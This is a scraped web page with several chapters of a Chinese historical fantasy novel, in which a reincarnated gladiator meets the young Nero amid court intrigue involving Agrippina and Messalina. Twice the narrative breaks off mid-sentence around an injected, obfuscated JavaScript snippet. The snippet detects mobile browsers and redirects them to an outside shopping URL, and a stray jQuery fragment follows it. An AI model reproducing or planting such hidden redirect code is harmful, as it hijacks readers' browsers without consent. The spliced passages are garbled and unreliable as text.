“世人肉眼浑浊,故被赋予苦难消磨眼障;世人天性色|欲,故被给予病痛销蚀欲望。密涅瓦赐吾智慧,维纳斯赐吾爱欲,吾在圣凡之间如披枷锁;狄安娜赐吾希望,拉托娜赐吾黑暗,吾在愿实之间自我折磨。众神之父朱庇特啊!您在罗马仍有拥趸,奥古斯都誓愿对您终生仰仗。纵使太阳冷彻,此誓温热;色彩悉皆褪色,此誓不褪;大理石皆遭侵蚀,此誓不蚀。台伯尼罗皆为此誓而流,诸魔鬼恶皆为此誓而愁!”
祭司点燃烟棒,深蓝色的烟雾缓慢上升。烟雾略带点印度香料的熏鼻气味,所有烛光都被晕开,如胞中胚胎一样被裹在光晕里。
预言师将小麦抛到台面上,用刀割开公鸡的喉咙,鸡血瞬间喷涌在小麦上。
他的嘴里念起咒语:
“命如磷火飘忽即逝,运如流云变幻莫测。
人之命运沧海一粟,神之明谕坚如磐石。”
他拿起草签,仔细剥离沾了血的小麦。这是相当耗时的工作。
许久之后,他才放下草签,盯向显露出来的字母。
预言师张大眼睛,刻有一道道沟壑的嘴唇疑惑地打开。他明显十分慌乱,喉咙试探性地振动几下又归于静止,一副欲言又止的样子。
他似乎要说什么离经叛道的话;而在那之前,犹豫的沉默一时间凌驾于圣殿。
“怎么了?”一个略带强势的女声从纱帐里传来。
这是尼禄的母亲,阿格里皮娜。她是屋大维的外曾孙女。
预言师犹疑不决,“这是很怪异的神谕,我毕生都没有见识过……”
“说出来!”阿格里皮娜命令道。
预言师沉默一会,说道:“您儿子一生的命运,将交由在三个人的手里。”
他面带不解,“第一个,是开口说话的死人,会让他坐拥所有……”
“死人还能说话?!”阿格里皮娜惊疑道。她将纱帐撩开一道缝隙,透出她阴沉的瞳光,象蛇眼一样冷。
“是的,大人。”预言师说,“第二个,是长着胡须的女人,会让他失去一切;而第三个……是处女所诞之子,会让他坐拥所有,但也会让他失去一切。”
帷幔后的尼禄一直在沉默。他旁边的阿格里皮娜放下纱帐,细细数着:“开口说话的死人、长着胡须的女人、处女所诞之子……这听起来太荒诞,不是吗?”
“很抱歉,大人。”预言师恭敬地说,“这就是神谕。我所做的只是转达而已。”
他那苍老如树皮的手抚上象牙台,宛如老旧风琴的声音从喉咙里发出来:“另外……您儿子一生中所有劫难,都是水带来的。”
罗德睫羽轻颤,他的眼光象即将发动的箭尖,有一丝险峻的意味。
这一世,尼禄的劫难由火变成了水。
5. 暌违死生的重逢
纱帐里响起一阵轻笑,稍带一点讥讽的意思,有少年特有的爽朗。笑声不疾不徐的,象一只波浪线那样延伸,又象一枝轻巧的小箭悠悠地射过来。
其实尼禄笑得很轻很柔和,却太过明晰,就象一滴水银落于水中那般固守其身。任何接触这滴看似圆润可爱的水银的人,都会中毒而死。
“尼禄,不准对神明不敬!”阿格里皮娜推搡他一下,尖声吼道,“快乖乖坐好,把双手举过头顶给众神道歉!”
尼禄继续笑几声,全然不顾母亲的管束。他如雾团的黑影在纱帐后抖动,象骤雨之前的阴云涌动。
他摆开一种温柔平和的腔调,悠然地捋顺衣袖折成的褶皱,慢悠悠地说:“真遗憾。我长着一双手,并不是为了捧神明的两只臭脚。”
“噢!神啊……”阿格里皮娜慌乱起来。她将双手举过头顶,虔诚地小声念叨:“愿神原谅这个无知的孩子……愿神忘却这句无礼的蠢话……”
尼禄无视她的反应。
他站起身,往前走了几步,与纱帐近得几乎相贴,好象即将要破开纱帐走出来。
他的剪影投射在金纱上,在烛光中微微攒动,笔直而挺拔,有一种厚重的意味。
“开始吧。”他说起话来总是很温吞,“我已经等不及了。”
祭司们搬走预言台,在那里堆砌木柴点燃篝火。篝火烧得很高,象火神的舌头直舔穹顶。奴隶端着雕花果盘走上来,为身份高贵的母子擦手,往银杯里斟满葡萄酒。怀抱里拉琴的乐师打扮俏丽,十指一动,就拨出一段优美的和弦。
圣殿撕下了庄严的面纱,显露出欢愉的本来面目。
这才是罗马。
罗德从象牙盅里抽取蜡签,上面刻着竞技对手的名字。
他的对手是个健壮而矮小的色雷斯人,手握一把带倒刺的短刀,最擅长近身作战。他身披亮闪闪的战甲,看起来就象一只油亮的甲虫。
罗德只执一把长剑,剑锋顺着笔直的小腿下指,黑甲象流沙般包裹他全身。他的五官几乎被铁盔完全遮挡,这使他的黑眼睛如紧嵌在铁面具之上的黑宝石。
色雷斯人象只蜘蛛一样跳过来,短刀在他手里变戏法一样打旋几周。
战斗的号角已经吹响。
罗德在战斗方面向来性急。他握起剑,就朝色雷斯人冲去,速度之快使他的影子一瞬间就拉得极长。
他一开始就来势汹汹。色雷斯人惊晃一下,短而有力的腿在地上横扫一圈,飞扬起一层云雾般的尘沙。
罗德跳过他的扫腿,篝火的火光象红藻一般映在他的黑甲上。他如老鹰俯冲捕猎一样,伸手薅住色雷斯人的肩甲,用膝盖重击他的下巴。
四周隐隐有惊叹声。他的招式象伐木般摧枯拉朽,连乐师都惊得不小心弹错了音。
色雷斯人痉挛般地喷出一口血。他抹掉嘴角的血,腿脚已经有些不稳。
他暗下眼神,象游鱼一样弹跳过去,挥起勾有尖刺的短刀,划出一道白蛇般的弧线。
罗德用剑抵御。铁与铁摩擦砥砺出齑粉,火星象一粒粒金花一样绽放。罗德的剑太长,使他在力量上处于劣势,短刀以毫厘之差晃荡在他脖颈前。
他向后伏低身体,双膝跪地往前一滑,躲开了短刀的威胁。
短刀的尖刺勾住他的头盔。随着他向前滑行,头盔顺势被尖刺一下子撬掉了。
罗德向前一个空翻,落回到地面。他的长发如黑墨滴水一般散下来,极为俊美的五官尽露,象尘封已久的艺术品突然被拂去灰尘,十分惊艳。
围观的女奴发出惊呼,有几个甚至兴奋地跳了起来。
“长得象娘们的、狡猾的家伙!”色雷斯人脸色铁青,懊恼地骂了一句。
罗德提起长剑,剑刃在掌心旋转一周,剑光逆行他的周身。他再次先发制人。
两人屡次短兵交接,在拉锯战中均有所受伤。他们都流了血,打得大汗淋漓,样子不免狼狈。罗德一边的肩甲被短刀削掉,锯子般的锁骨裸|露出来。
色雷斯人粗喘着,肺部象风箱一样呼呼出气。他连连败退,脖子被划出好几道剑伤。
他的体力已到极限。
他拨弄了一下刀柄,咔地一声触动里面的机关。
刀柄末端立刻弹出两根长针,如幽灵一样威胁性地指向罗德的颈项。
电光石火之间,罗德的眼光于刹那间凝聚成针。他没有躲避,固执地逼近色雷斯人,肩膀一下子就被长针刺穿,带血的针尖如笋一般顶出他的肩胛。
色雷斯人被他自毁式的举动震惊得愣住。
剧痛只使罗德皱了一瞬间的眉。他的前额已冒出冷汗,视线象鹰喙一样勾住色雷斯人的眼底,仿若一个前来索命的冥界修罗。
“你输了。”他勾起一个残忍的微笑,眼中火光宛如鬼火。
他抽出护身符,将那根细长的铜条猛地没入色雷斯人的喉咙。喷涌的鲜血浇了他满脸。
沾满血的铜条象梭子一样飞出。
色雷斯人仍旧是一脸的不可置信。他睁着大眼倒下去,脖颈破开一个血洞,汩汩冒出鲜血。
这场血腥的鏖战胜负已出。
罗德忍着疼痛将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239622|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钉在肩膀的长针拔出,双眼随即被溅出的血糊住。
他抹一把眼睛,黑亮的眼瞳嵌在粘稠的血里,有很顽固的意味,宛如屹立于岩浆之上的、被烫火包围的黑礁石。
他微微气喘,朝四下扫视一圈,罩着血气的眼睛里有寻觅的意思。
“它在这儿。”
少年的声音温柔极了,象一片旋转打晃的柳叶,晃晃悠悠地落下来。
这声音挟带前世的记忆一齐袭进脑际。一向雷厉风行的罗德,终于产生了平生头一次的错愕。
他的思绪飞快地倒回。那些久远的、死别的羁绊,从来都不会被惯于漠视的他忘记过,好象是生长在意识之外的一堆杂草。
而尼禄已经走到了他的面前。
这是十四岁的尼禄。
他长着一头卷曲而浓密的银发,未褪尽的稚气荡开在他眉目间,骨架是少年特有的纤弱,一副温和、彬彬有礼的模样。他的五官立体而帅气,眉骨高昂,在眼皮处蒙上一层阴影。这使他无论做什么表情,都暗含一点阴鸷的气质。
他看起来很健康,还不是当年驼背和罗圈腿的样子。
他们两人暌违了死与生,现在又另辟蹊径地相遇了。
尼禄微微仰头,篝火的光泽斜射进他的眼底,使他浅棕色的眼珠象半透明的琥珀。
他握紧拳头,抬到罗德眼前。
他的手指没有血色,苍白到令人担忧的地步。一堆宛如彩虹的宝石戒指套在他指间,近乎要压垮他纤细的骨骼。
罗德注意到,尼禄的指甲隐约泛黑。
他眼神微变。
“还给你。”尼禄轻声说。他的唇角保持着适度的卷翘,十分柔和。
他打开手掌,上面是带血的护身符。鲜血晕染他的掌心,象是皑皑雪地里的一抹艳红。
罗德容色紧绷着,伸手去拿护身符。
他坚冰般的指头刚刚触到他的手掌,尼禄一下子就抓住他的手,象食虫草合上叶片、困死猎物的那一刻。
罗德想抽回手,但没有成功。
尼禄顿了一会,慢慢松开手,语气里有类似天真的、幼稚的气味:“你应该向我臣服的。”
罗德取回护身符。他不打算做什么以下犯上的蠢行,而是恭敬地屈膝下跪,将胸膛压低伏向地面,颈项始终是不容侵犯的笔直。
他捧过尼禄的脚踝,轻吻了他的脚背。盘绕在他肩胛的筋骨优美地起伏,肌肉拉长又收缩,十分饱满有力,蕴含一种独特的人体美。
这吻的力道太轻,绝对不会比雪花落地的那一刹更重了。
6. 泰勒斯的金剑
罗德在竞技表演中表现出众,被赏赐了一些珠宝和钱币。
那天他与尼禄的邂逅、还有那个轻吻,都如小石沉湖一般,激起一点水花,但也只是水花而已了。
时间就这么清清淡淡地过去了。
按照惯例,每当有新的近卫军加入,元老院都要举办一次庆典以提升士气。
庆典在别墅后方的露天训练场举行。
此时正值阳光强烈的正午。这是一场燥热而沙尘飞扬的庆典。
遮阳的帷幔由长棍支起来,奴隶将冰块摆在四角,用扇子扇出清凉的风。御车夫坐在战车上、挥鞭驱赶四匹白马绕场快走。青铜的演讲台立在前面,帷幔后方走动着待宰的牛羊。它们吼叫着,背披镶嵌珠宝的红绸缎,是这次庆典的祭品。
有不少平民在远处观望。演员、小贩和妓|女因为身份的低等,被禁止窥看。
新加入的近卫军数目庞大。
他们站成方队,拥挤得几乎肩挨着肩,方队里如灶中生火慢慢升温。每个人都穿着相同的黑皮甲,头盔上竖一根鹰翼般的羽毛。
罗德站在其中,骄躁地呼了口气。
那股挥之不去的、来自于其他近卫的浓烈汗味,象极咸的盐水一样,腌渍着他的鼻尖。
奴隶敲打着牛皮鼓。一位怀抱头盔的将军缓缓走上演讲台。
罗马的贵族酷爱演讲,对他们来说这是最基本的能力。他们从小学习辩术和修辞,只为练就一口煽动性极强的嘴。
将军身形高大,长着好看的金发碧眼。他早已不再年轻,几道皱纹如细线一般勒在他的眼角,好象深陷眼窝的眼睛不小心压褶了皮肤。他的唇角一直扬起,象被胶水粘出一个固定的角度,使他始终有着令人亲切的笑。
他的脸,就是一张粉饰太平的脸。
罗德站在台下,不经意地抬头,那标志性的金发碧眼就闯进眼帘。
他猛地攥紧手上的剑柄,发出颤动的声响。
他的黑眼瞳里迸裂出几道红光,象沸腾的红岩浆涌动着、沿顺山缝间猛冲下去。
当年,雇佣他去刺杀尼禄、随后又毒害他的安东尼,与眼前这位将军长相惊人地相似。
这两个人有着同样的金发碧眼,五官就象对照镜子那样相同,只在身高上有所差距。
金发碧眼的将军摆正挂在前肩的搭扣,清了清嗓子,大声宣讲:
“罗马帝国啊,它如被战神所助征服四方,如台伯河般历史悠长,如金羊毛般受人朝思暮想。它的武力从不会被轻质疑,它的财富从不会被轻鄙,它的号令从不会被抨击。然而,谁能知道这个铁血帝国拥有一颗柔软慈悲的心脏?”
他抬手捂起心口,面作痛苦状,好象真的被箭射中了他柔软的心脏:
“它的心脏会因人民的饥荒而紧缩,会因妇女的难产而坠落,会因灾难的无情而滴血,会因瘟疫的蔓延而衰弱!曾经痛恨罗马的蛮族行省因这颗心脏而归顺,曾经陌生罗马的邻国因这颗心脏而敬畏。无数人问我罗马的心脏在哪里,现在我要给出答案……”
忠诚的神色被他硬是给挤了出来,朦朦胧胧浮在皮肉之外。
他指向眼前的皇宫说:“它就在各位的眼前!”
他精彩的表演、以及音韵美好的演讲措辞,具有蛊惑人心的效果。一些近卫军不禁动容。
“各位所持之刀剑,只会在皇室面前收起剑光;各位所恃之武才,只要为皇室的血脉锋芒毕露;各位所仗之权威,只能被皇室言令所施予;各位所珍之尊严,只能为皇室荣耀而舍弃。这绝不可简单归结为独|裁,而应当追索到这颗心脏的柔软!”
这时,一个奴隶走到台前,小心地跪了下来。
他头顶一只垫着丝绸的木制圆台,圆台上立着一把金剑。
短剑的剑柄由黄金铸造,表面平整而朴素,没有任何雕饰。
然而,剑刃的形状却极为特殊,呈现出尖锐的锯齿状。大小不一的尖刺密密排列着,好象猛兽的一排獠牙,仅仅看着,就能给人一种尖刺入肉的痛感。
极其怪异的剑刃,集中了这把剑的所有吸引力。
金剑是近卫军长官的专属物,历任长官传承似的配带着它。就象元老的红边白袍、角斗士头盔上竖起的羽毛,金剑已然成了这个职位的标志。
将军手臂上的肌肉紧绷着,小心翼翼地捧起剑。
在手掌触到金剑柄的一瞬间,他的蓝眼睛凝滞一下,折出一点晦暗不明的光芒。
他将剑高高地举过头顶。
“向你们的长官行礼吧!孩子们!”他激情四射地吼道。
剑柄反射出一道金光,象一头凶猛的金狮子硬闯入罗德的视野。那道金光太过刺眼,以至于宛如天空中的第二个太阳。
一段深久的记忆喷薄而出,象活动在海底的、不为人知的巨怪偶然跃于海面,所到之处风起云涌。
罗德眯起眼睛。他有些挣扎地陷入了那段回忆……
这一天也是一个令人燥热的夏日。高温象锯子的噪音一样嗡嗡作响,金红的落日被散乱的云遮成一层一层,余晖如鲜血般流淌在云间。
青铜制的十字架被架在高处,上面粘有干涸的血迹。
尚在年幼的罗德被马尔斯拉着手,带到十字架下。
彼时的马尔斯还很健康。他跌跌撞撞地跑过去,两手一把抱住十字架的台座,跪倒在地上痛哭流涕。他哭得很悲伤,一副近乎要昏厥的样子。
不明事理的罗德慢慢抬头。
在一堆堆血块般的云朵间,被钉在上面的罪人有着强硬的剪影。那是他的父亲。
泰勒斯脚踩防止身体滑落的楔形木,两只手掌心皆被长钉穿透。他苍白的皮肤闪着脏黑的汗,指甲里尽是干涸的血和黑泥,不时有嗡嗡叫的苍蝇包围他。
这是十年内,父子之间的唯一一次碰面。
“嗨……”泰勒斯扯出一个蛮不在乎的笑,声音嘶哑得象一条拉拉扯扯的虚线,“久违了。”
这句“久违了”,好象如烙印般飞飘而来,烙烫在罗德灵魂的最深处。
罗德只感到有些目眩。
“我要你拿到我的金剑……”泰勒斯低声说,“然后毁了它!”
那一年的罗德只有十二岁。泰勒斯因为收取贿赂、刺杀皇帝卡里古拉,而被法院判处十字架刑。
……
罗德收回思绪时,竟产生了和和当年相似的目眩感。
这种埋藏得深不可测的、早就被封锁的感觉突然冒头,象一颗阴险的种子终于发芽。
这并不值得他泛起眼泪,只会让他感到无比空虚。
他弃之如敝履的,其实还是在意的;他避之如蛇蝎的,其实还是会去追忆的。
将军展示完金剑,还用绸布擦拭剑上的灰,动作极为爱惜。
他谨慎地放回金剑。奴隶顶着小圆台,再次把剑送回皇宫里。
皇帝对这柄剑的态度十分谨慎。
上一任皇帝卡里古拉是被刺死的。而刺杀他的,正是他最信任的贴身亲卫,也是当时的近卫军长官泰勒斯。
卡里古拉死后,由他的叔父克劳狄乌斯继任皇帝。
克劳狄乌斯生性多疑,惧怕和卡里古拉落得同样下场,便一直没确定近卫军长官的人选。
这个职位因此而长期空缺。
而这柄无主的金剑,也一直被保存在皇宫里。
……
庆典结束后已是傍晚,新近卫们没来得及换装,直接进入皇宫守卫。这是他们初次执行任务。
豪华奢侈的晚宴正在皇宫的餐厅里举行。夜夜笙歌是这里的常态。
罗德的近卫身份归属于尼禄。他直立在餐厅外的庭院里,手持一柄长剑,时刻负责尼禄的安全。
一口方形的水池位于庭院中央,里面蓄养着颜色纷繁的鱼。
餐厅一片灯火通明。
沙发摆成马蹄形,将圆形餐桌围起,宾客就躺在沙发上吃饭,衣襟前铺着一张餐巾以防弄脏衣袍。奴隶们手提水罐,肩上搭着毛巾,在沙发之间来回穿梭,忙着为宾客倒酒和擦手。
这是身份高贵的象征。在罗马,只有贵族才有资格躺着吃饭。
有乐师吹奏长管,演员在表演古希腊戏剧,女奴朝空中喷洒玫瑰香水,气氛很热烈。
晚宴的食材很稀有。
七鳃鳗被切成薄片,烤野鸡脑洒有黄褐色的肉桂,煎夜莺舌码放得很整齐,小银盘里装满了鲟鱼子。有暴饮暴食的贵族,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239623|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会让奴隶为他催吐,吐完接着大快朵颐。
皇帝是这场晚宴的主人。
克劳狄乌斯年近六十,有着油腻的秃顶。因为小时候的疾病,他成了跛脚,又有严重的驼背,眼珠时刻都在眼眶里乱颤。
在卡里古拉被刺杀后,直系血亲里没有合适的继任者。毫无政绩的他便如同捡漏般地当上了皇帝。
克劳狄乌斯蜷缩着躺在主位上,讨好似的,为他的妻子麦瑟琳娜倒葡萄酒。
麦瑟琳娜袒胸露乳,眼线勾得翘起,总有一股浓重的情|色意味。她有一头艳丽的红发,涂抹着火红的指甲,懒洋洋地侧躺,两腿毫无顾忌地叉开。
她比克劳狄乌斯小34岁,是个极有权势的女人。就连她的丈夫也畏惧她的权力,总是对她忍让三分。
麦瑟琳娜的名声很差。
无论是皇宫内还是坊间,都盛传着她淫|荡至极的风言风语据说她曾经向一个妓|女发起挑战,一口气接了25位客人,让那名妓|女也甘拜下风。
她今晚兴致极高。
她端着酒杯,用手肘碰了碰身旁的一个贵族,妩媚地说:“听说你花了两百个第纳尔,从西西里进口了一批鹦鹉鱼,安东尼。”
对她对话的安东尼长着金发碧眼,一双眼珠毫不遮掩地往她的胸脯上瞄。
“当然。”他狡猾地勾起嘴,“它们已经被我养大了不少。”
“那可真是太好了……”麦瑟琳娜压着嗓子说。她伸出食指,在鳕鱼酱里搅了搅,挖出一坨鱼酱。
安东尼冲她笑笑,神色有些猥琐。
“我喜欢大的东西……”她把蘸满鱼酱的食指放进嘴里,对着安东尼吮吸干净,再慢悠悠地伸出来,眼里尽是挑逗的神情。
安东尼饶有兴致地挑眉,把杯里的葡萄酒一饮而尽。
克劳狄乌斯瞥他们一眼,嘴角隐隐抽搐。他凑近妻子,小声咕哝一句:“现在是在晚宴上……”
麦瑟琳娜不耐烦地移过脸,烦躁地说:“闭嘴吧!你这个连鱼眼都不敢吃的瘸子!”
克劳狄乌斯讪讪地缩回脖子。他闷声喝一口酒,喉咙发出“咕咚”的声音……
在主位之下,尼禄躺在侧位的沙发上,在慢悠悠地撕扯一只完整的烤睡鼠。
他扒拉掉撒在皮上的罂|粟籽,利索地一刀剖开睡鼠的肚子,灌在里面的猪肉末和松果都流了出来,鲜香的肉味象风一样扑过来。
尼禄的无名指和小指一直翘起,确保沾不到食物。这是教养良好的贵族的标志,只有平民才会五指齐下。
他的母亲阿格里皮娜躺在一旁,注视他的一举一动,眼神狠戾,有一丝监视的意思。
阿格里皮娜生着亮丽的银发,眼瞳是浅棕色,象一口陈年的深井,使她总隐含着一种类似看不透的、见不到底的气质。
她是卡里古拉的亲妹妹。
“很好。”她赞许一句,“这才是我们多米提乌斯应该有的样子。”
尼禄连眼也不抬,对她的夸奖充耳不闻。
阿格里皮娜抬起眼帘,一双时刻警醒的眼睛如铁钩般,盯住了主位上的克劳狄乌斯。
——她的叔父在闷闷地喝酒。
她的眼神微妙地一动,把酒杯推到尼禄面前。
“克劳狄乌斯在喝闷酒。”她吩咐道,“去把你撕好的睡鼠肉献给他,再跟他碰碰酒杯、夸夸他的治绩,可以的话挤几滴眼泪诉诉苦。一个独自喝酒的人,最容易被好话和眼泪打动……”
尼禄瞟她一眼,拿起睡鼠的腿肉咬了一口。
“你完全可以自己去做这些。”他说,“不要总是指使我。”
阿格里皮娜小声训斥,“你在把皇帝的桂冠拱手让人……”
尼禄不急不慢地说:“但我更想象只猴子一样去表演,简直象个靠挤眼泪和假笑为生的演员。”
“真是不听话!”阿格里皮娜抓住他的胳膊,尼禄不动声色地甩开她。
“抱歉,我要出去。”他说,“这里飘着呕吐物的味道,真是令我不舒服。”
“这可是高官云集的晚宴。”阿格里皮娜惊道,“你应该端着酒杯,去跟那些元老套近乎……”
尼禄擦干净手,径直走出气味怪异的餐厅。
7. 超越神识的美
月亮凝固在夜空中,象一枚涂着银粉的亮指甲。这个仲夏之夜没有风,密集的星辰垂吊在天上,象被冻结住了;好象只要夜幕轻轻一晃荡,星辰就能如雨滴般簌簌而落。
这一瞬间尼禄仿佛遁入安宁。
他揉了揉被掐疼的胳膊,走到畜养鱼类的水池边,往里面盯了一会。
彩色的鱼象一颗颗游动的彩墨。尼禄卷起袖口,探出手在池子里捞了捞,抓出一条鲜活的金色小鱼。
他把小鱼摊在掌心,静静地望着它。
鱼腮扇动得越来越快。小鱼渐渐干涸,象被油锅煎炸似的,在手掌上不停翻跳。
尼禄眼色一暗,象斩首的刀斧落下时、形成的那一抹阴影。他猛地握起拳,把小鱼抓在手心。
鱼头和鱼尾从拳头两侧冒出,激烈地扭动。活动的鱼鳞刮擦尼禄的手心,他没打算放手。
“它快死了!”一个声音突兀地传过来,象一支能刺痛人的飞镖。
尼禄惊了一下,手掌因为这突如其来的动静一松。九死一生的小鱼趁机溜到水里。
他在惊晃中抬起头。一个近卫就站在眼前。
银亮的月光从罗德的头盔倾泻而下,滚落到他的双肩,最后细碎地跌落到脚边。
尼禄象迷糊了似的,“你……你说什么?”
“您在杀一条鱼。”罗德不加掩饰地说出所见。
尼禄回过神,这才发现小鱼已经没了。他一把甩掉手上的水珠,慢条斯理地说:“但这个兴致还是被你给浇灭了……”
他回望罗德,纤长的眼睫象一扇厚针叶那样扇动几下。他想了想,一个近似于恍然大悟的表情象冰晶一样结满他的面庞。
“我认得你……”他回忆起来,“你是那天胜出的近卫,你用青铜捅开了那个色雷斯人的脖子。”
罗德默认。他将右手贴放在胸口,向尼禄行了一个极为清淡的礼。他直起身子,许久都站着不动,脚步不挪分毫。
“你有备而来。”尼禄若有所思,“你找我做什么?”
远处的灯火在他浅棕色的眼珠里摇动,象两片凝固于琥珀里的叶子。
这使他的凝视十分干净。十四岁的他,拥有一双尚未被人间冷暖血洗的天真眼睛。
罗德高扬着下巴俯视他,低垂的眼帘将黑眼瞳遮挡大半。他的声音是从冷硬的铁盔后面传过来的,自然也带一些金属意味的强悍。
“我是来救您的。”他直言道。
“救我的……”尼禄愣住,象是在细细咀嚼这句没来由的请求。
罗德点点头,“换句话说,我想做您的贴身亲卫!”
“我有成百上千的近卫,为什么偏偏要选择你?”尼禄说,“给我一个能说服我的理由。”
罗德把头压低一点,细腻的皮肤泛起隐约珠光,一道细褶如弯针般、嵌成他形状美好的重睑。
他走近一步说:“因为我是唯一一个不会将后背扔给您的人。”
这句话象嫩芽一样生长在尼禄耳边,他的视野晃荡一下。痛楚被准确无误地戳穿,好象有一只利爪穿进他的胸膛,掏出一块血淋淋的心尖肉。
“你……”他不由地发出感叹,恍恍惚惚地站起来,颤巍巍地指了指罗德。
罗德顺势抓过他的手,带有薄茧的指肚抚过他发黑的指甲。
尼禄心里如羽毛扫过般的轻痒。
“您指甲发黑,这说明您已经中了毒。”罗德说。
尼禄有些恍神,以至于没听进去他说的话。
“你的眼睛真美,就象艺术。”他出神地说,“把你的头盔摘掉,我要看看你的样子。”
罗德顿了一下,抬手将头盔摘了下来。
尼禄依次看到他的双唇、鼻梁和眼睛。他的黑发象丝绸一样垂落下来,黑睫毛在月光下泛起银光,轻轻抖一下似乎就会掉下银粉;他的眼瞳发出可称为浓艳的、逼人的黑光。
他的美具备一种威慑性,逼射而来,象雪崩或者日蚀那样,铺天盖地不可抗力,任何试图的抵抗都是徒劳的。
尼禄渐渐僵硬。
这种美超出他一贯的认知。
他甚至产生一种神识之外再生出一种神识的顿悟。
“可以……”尼禄怔怔地说,“我准许你搬进我的宫寝了。”
……
而另一侧,餐厅里一直是热闹嘈杂的气氛。
奴隶清扫地上的鱼骨,向空中喷洒玫瑰花露。女奴端出甜点,切开装饰着椰枣和松子的面包圈,分给每一位客人。技艺高超的厨师将母猪的乳|房烤成鱼的形状,将火腿摆成斑鸠的模样,用牡蛎肉堆成鸽子的样子。这是贵族间流行的餐饮趣味。
阿格里皮娜将银盘里的牡蛎肉吃干净,抹掉唇上的口红,端起酒杯,往主位走去。
“我亲爱的叔父……”她走到克劳狄乌斯的身后,捏起细弱如游丝的嗓音,轻声唤他。
克劳狄乌斯转过脸。他的驼背即使在长袍下也难以遮蔽,身体的残缺使他永远不可能与英俊这个词沾边。
他看见她悲伤得双眼发红,心怀恻隐地说:“我的阿格里皮娜,你的嘴唇苍白,就象干枯的叶子一样!这些年,你在希腊的荒岛上颠沛流离,真是太令我忧伤了!”
“流放了我们母子的是我的哥哥……”阿格里皮娜声音颤抖,“这比流放本身更令我伤心欲绝……”
麦瑟琳娜望了过来,从鼻孔里发出轻蔑的嗤笑。
“你的伤心未免来得太荒诞了吧,阿格里皮娜……”她揶揄道,“你们兄妹不和,早就是众所周知的事了!”
阿格里皮娜面露疑惑。她的眼睛是水井般的浅棕色,此时正合时宜地泛出泪光,像井水从井口溢出一样,看上去楚楚可怜。
“噢!我的哥哥让我心痛!”她痛苦地捂着眼睛,“他的遗骸还在荒郊野外的土坑里!我希望叔父您能将他安葬在陵墓……”
“这是当然!他可是我的亲侄子!他拥有高贵的血脉,就要在高贵的地方安眠!”克劳狄乌斯说,“你真是一个善良宽容的孩子,阿格里皮娜……”
麦瑟琳娜嘬一口葡萄酒,发出响亮的声音,黑着脸讥讽道:“是啊!你的好侄女从希腊寄了二十多封信,每一封都在表达思念之情……”
她的语气转而凶戾起来:“可之前你还在元老院做你那该死的保民官时,她可从没叫过你一声叔父!”
“那是因为我哥哥的管束!”阿格里皮娜大声辩解,“他是个控制欲太强的人。不按他的意思来,他就会施加伤害……”
她擦了擦眼泪,委屈地瞥向克劳狄乌斯:“我相信我的叔父会理解我的……对吗?”
“我相信我的阿格里皮娜。”克劳狄乌斯点点头,“当年我去参加她七岁的生日宴,还年幼的她就把银盘里的第一块鱼肉送给我吃。这说明她从小就对我心怀尊重……”
“哼!”麦瑟琳娜凶悍地冷哼,一副嗤之以鼻的模样。
克劳狄乌斯止住嘴,畏惧妻子权力的他不敢造次。
他拍了拍身边的空位,对阿格里皮娜说:“来这儿躺一会吧,我的孩子。主位的餐食可比侧位的要丰富很多,你可以吃到进口的龙虾,还有用迷迭香熏烤的鲻鱼……”
“很遗憾。”阿格里皮娜面露犹豫,“我不能不顾忌地与一位男性共用一个沙发,即使您是我最尊敬的叔父……”
她盯向麦瑟琳娜,眼睛顿时亮亮的,微笑着说:“身为罗马的女性,要让贞洁和贤惠的名号伴随一生!”
麦瑟琳娜凶狠地瞪她一眼。
“噢!我的好孩子!”克劳狄乌斯惊叹。他行动困难地下了地,望着阿格里皮娜说:“你可以用我的位子,阿格里皮娜。我正好要去欣赏戏剧了!”
他就擦干净手,一手拄着拐、一手扶着奴隶去了隔壁的厅殿。
那里有戏剧和舞蹈表演,正上演着希腊时代的一幕喜剧。
阿格里皮娜见他走远,收起了笑容,嘴角是一贯性的紧绷。她表情的变化之快,简直象撕掉了一层面具。
“快脱了你那层乖巧的皮吧!”麦瑟琳娜晃着酒杯,嘲弄地说,“你尊敬的叔父已经走远了。你成功地愚弄他接你们回来,现在又成功地骗取了他的同情!”
阿格里皮娜毫不客气地躺上去,动作颇为强势。她利落地将龙虾的钳子掰掉,蘸了点鱼酱就开始吃起来。
“啧……”麦瑟琳娜喝着酒,“你还是象以前那样阴险得可恶,我的朋友。”
阿格里皮娜反唇相讥:“那我应该怎么形容你为好呢……你还是象以前那样愚蠢得可笑?”
麦瑟琳娜低笑两声,眼中有犀利的锐意飞速颤动,象弓弦开到最大时晃动的箭头。
“别以为我不知道你有什么鬼主意,阿格里皮娜……”她说,“你想在皇位上分一杯羹!可我才是当今的皇后!我还有一个年龄足够登基的儿子!”
阿格里皮娜定神闲,“你的胡言乱语真是令我感到困惑……”
“噢!”麦瑟琳娜脸色涨红,愤怒地大叫:“我最恨你这副装得象只绵羊的样子!从小到大,每次看到你这个模样,我不用扫喉咙眼就能把晚饭吐到你的脸上!”
阿格里皮娜不紧不慢地剥掉龙虾的壳,叹口气说:“你还是这么孩子气,麦瑟琳娜。从童年到现在,生在敌对家族的你总是在跟我比,攀比玩具、珠宝、丈夫、孩子……你有赢有输。可是论血统和头脑,你注定永远都是输者!”
